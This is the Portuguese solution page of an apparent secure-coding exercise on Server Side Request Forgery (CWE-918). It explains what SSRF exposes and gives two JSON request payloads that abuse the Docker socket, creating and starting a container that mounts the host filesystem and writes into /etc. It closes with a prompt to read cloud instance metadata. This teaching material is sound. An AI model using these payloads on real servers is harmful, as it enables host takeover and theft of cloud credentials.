Solução
Nome | Valor |
---|---|
Vulnerabilidade | Server Side Request Forgery (SSRF) |
CWE | CWE-918 |
OWASP Top Ten | A10_2021-Server-Side_Request_Forgery_(SSRF) |
Será que permitir que o usuário dispare uma requisição a partir do seu servidor é realmente uma boa ideia? Pois existe uma categoria de vulnerabilidade especificamente para descrever essa situação, que é a Server Side Request Forgery (SSRF).
Pode até não parecer nada demais mas uma requisição vinda do seu servidor, em sua rede local — ou até mesmo dentro de uma rede privada em uma cloud —, é sim “grande coisa”. Isso permite que um atacante possa interagir com e/ou enumerar aplicações que não deveriam estar expostas à internet, como:
- Aplicações de administração internas (como PHPMyAdmin).
- Serviços que usam requisições HTTP para interação (como o Docker).
- Outros serviços web que “confiam” no IP do seu servidor.
- API de metadados do cloud provider (como a da Google Cloud ou da AWS).
- etc.
Então SSRF pode ser uma vulnerabilidade muito grave em determinadas circunstâncias. Pode ser possível ler dados sensíveis, fazer uma execução remota de código (explorando algum serviço interno) ou obter credenciais de acesso no cloud provider (usando API de metadados do cloud provider).
Então não pense que não é nada demais deixar o usuário disparar requisições a partir do seu servidor.
Exemplo para criar um container:
{
"socketPath": "/var/run/docker.sock",
"url": "http://localhost/containers/create",
"method": "POST",
"data": {
"Image": "ubuntu:22.04",
"Cmd": ["sh", "-c", "echo poc > /host/etc/poc.txt"],
"HostConfig": {
"AutoRemove": true,
"Binds": [
"/:/host"
]
}
}
}
Exemplo para iniciar o container criado:
{
"socketPath": "/var/run/docker.sock",
"url": "http://localhost/containers/{{ container_id }}/start",
"method": "POST"
}
Rode o código desse exercício em uma instância da Google Cloud e explore o SSRF para ler os metadados da instância.